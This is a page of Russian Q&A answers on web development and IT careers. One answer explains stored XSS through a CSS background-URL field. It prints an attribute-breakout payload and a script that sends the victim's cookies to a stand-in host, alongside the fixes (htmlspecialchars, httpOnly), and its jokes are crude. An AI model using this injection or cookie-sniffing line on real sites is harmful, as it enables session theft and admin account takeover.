• Хорошо ли использовать "//" вместо http/https?

    AngReload
    @AngReload
    Кратко о себе
    Да, это хорошо, это древняя фича, браузер выбирает протокол такой же как у странице с которой переходят по ссылке.
    Ответ написан
    Комментировать
  • Как системы распознавания лиц, собственно, распознают лица?

    sgjurano
    @sgjurano
    Разработчик
    Локализуется лицо, полученная картинка нормализуется, затем от неё считается какой-то набор признаков, по всей базе ищутся наиболее похожие на этот объекты, в простейшем случае в качестве ответа берётся самый ближний из них.
    Ответ написан
    3 комментария
  • Краткий тест для web-разработчика?

    Stalker_RED
    @Stalker_RED
    Не нужно ничего выдумывать.
    Двайте им одну-две реальные задачи из вашей работы. Может не целиком лендинг, а например"сверстать форму обратной связи" или "сделать модуль для email рассылки на 2000 адресов", или что там у вас считается за нестандартные задачи.

    Вот прямо откройте историю, выберите несколько тасков на 2-4 часа, и готово.

    Можно даже им оплатить, если это пройдет в прод.
    Ответ написан
    9 комментариев
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Очень долго прогружаются карточки товаров, что делать?

    Оптимизация бд
    Добавление индексов
    Кэширование
    Ответ написан
    Комментировать
  • Как лучше реализовать процесс-демон в Laravel?

    JhaoDa
    @JhaoDa
    LaravelRUS Team
    Правильно это сделать очередью. Задание выполнилось, вернулось назад в очередь с задержкой в n секунд, выполнилось, вернулось... ну вы поняли. Не очень понятно, зачем «процессе, который будет запущен всегда», но слушателя очереди можно запускать в режиме демона.

    Или это можно сделать планировщиком. Степень правильности штука субъективная...
    Ответ написан
    2 комментария
  • Есть ли шансы работать в крупных компаниях не имея ВО?

    saboteur_kiev
    @saboteur_kiev Куратор тега Карьера в IT
    software engineer
    Компаний много. Проектов много. Руководителей много.

    Вы же понимаете, что принятие решения зависит не от мнений случайных людей на тостере, а от конкретного проджект менеджера или HR-ра, который будет рассматривать ваше резюме.

    И если вам на тостере все скажут "да не нужно никому ВО", а руководитель проекта скажет "нет ВО - досвидания", вы его скриншотами с тостера не переубедите.

    Идите к ним напрямую и спрашивайте при трудоустройстве.
    Ответ написан
    Комментировать
  • Как мне быть в такой ситуации.Куда двигаться дальше?

    Хреновое у тебя настроение, 33 для програмиста не возраст, мне 42 и я несколько раз проходил путь от джуна до синьора, просто для встряски мозгов, последний раз менял специализацию в 39. Делай упор на английский, с хорошим английским работы море, при чем на удаленке платят больше чем на аутстаффе, правда и риски больше, кстати чтобы устроится на мидла, не запись в трудовой нужна "работал джуном год", а фактическое количество собранных граблей на технологии, на которые ты второй раз не наступишь, на собеседованиях просто спрашивают по матрице, поэтому необходимые навыки ты легко можешь узнать, просто регулярно проходя собеседования и подчитывая и реализуя то, на чем завалился. Завалив собеседование ты не ЧСВ должен понижать, а просто понимать, что ты узнал, что нужно доучить и идти на следующее собеседование.
    Ответ написан
    Комментировать
  • Как заменить один сайт другим?

    @ART_CORP
    Hard work
    Нанять специалиста по seo который все организует , без подготовки скорее всего просядет сильно.
    Ответ написан
    Комментировать
  • Возможно ли выполнить внедрение зависимости в контроллере с условием?

    JhaoDa
    @JhaoDa
    LaravelRUS Team
    Не очень понятно, от чего зависят условия, но есть как минимум два варианта: раз, два.
    Ответ написан
    7 комментариев
  • Как защититься от парсельщиков?

    @deliro
    Нет
    Ответ написан
    Комментировать
  • Как аннулировать команду git init?

    BuriK666
    @BuriK666
    Компьютерный псих
    просто удалите директорию .git
    Ответ написан
    2 комментария
  • Как избавиться от повторяющегося кода?

    lxsmkv
    @lxsmkv
    Test automation engineer
    В пхп вроде есть mixins, называются traits php.net/manual/en/language.oop5.traits.php
    Ответ написан
    Комментировать
  • Верстка слайдера, как такое сверстать?

    B_Roma
    @B_Roma
    Я думаю легче это будет, если не сами слайды будут прозрачными, а сверху этих слайдов будут блоки полупрозрачные
    Ответ написан
    3 комментария
  • Как сделать внутриигровую валюту на сайте?

    CityCat4
    @CityCat4
    //COPY01 EXEC PGM=IEBGENER
    Вы всерьез рассчитывали, что Вам тут все расскажут и покажут? В ситуации, где проблема на проблеме сидит, проблемой погоняет и игогокает на нескольких языках? Где квалифицированному юристу работы по самое не хочу?
    Ответ написан
    13 комментариев
  • Как преодолеть кризис начинающего специалиста?

    sim3x
    @sim3x
    А кто сказал, что будет легко?

    spoiler
    Даже если вы занимаетесь bleeding edge разработкой в универах или корпорациях, то рутина будет занимать 90% вашей работы

    А что еще хуже 60% всего рабочего времени вы будете заняты согласованиями и совещаниями и не будете писать код вообще

    Потому, если вас не хватает сейчас, то стоит подумать, а нужно ли оно вам вообще
    Ответ написан
    Комментировать
  • Как преодолеть кризис начинающего специалиста?

    @0x131315
    Да, программист - не так романтично на деле, как кажется)
    Потому что, в отличии от всяких мечтаний, в реале вопрос завязан на деньги, а деньги - на время.
    Программист работает на заказчика, заказчику нужно быстро и дешево - отсюда готовые решения и костыли сейчас, с прицелом разобрать это потом (но потом тоже костыли)
    Поначалу все это очень напрягает и срывает башню - нас учили не такому, нас учили стремиться к простому и оптимальному коду, а везде вокруг накручивают дичайшие костыли, и это жесть, но...
    Со временем понимаешь, что лучше сейчас быстро сделать костыль, и забыть об этом, возможно навсегда, чем потратить времени в 3-4 раза больше, но сделать по канонам... Просто у программиста нет столько времени...
    В конце концов в реальности работа программиста не так сложна, и во многом не так красива, как ожидается - по большей части это рутина и разгребание чужого страшного кода, отладка и ваяние своего страшного кода, сожаление о том, что не было возможности сделать хорошо, и радость, когда попадается что-то интересное, или то, что сделал хорошо, качественно
    Как и на любой работе, есть свои светлые и темные стороны. И деньги не так легко достаются - программист за них щедро платит нервами. Как и врач, и любой другой специалист
    Ответ написан
    1 комментарий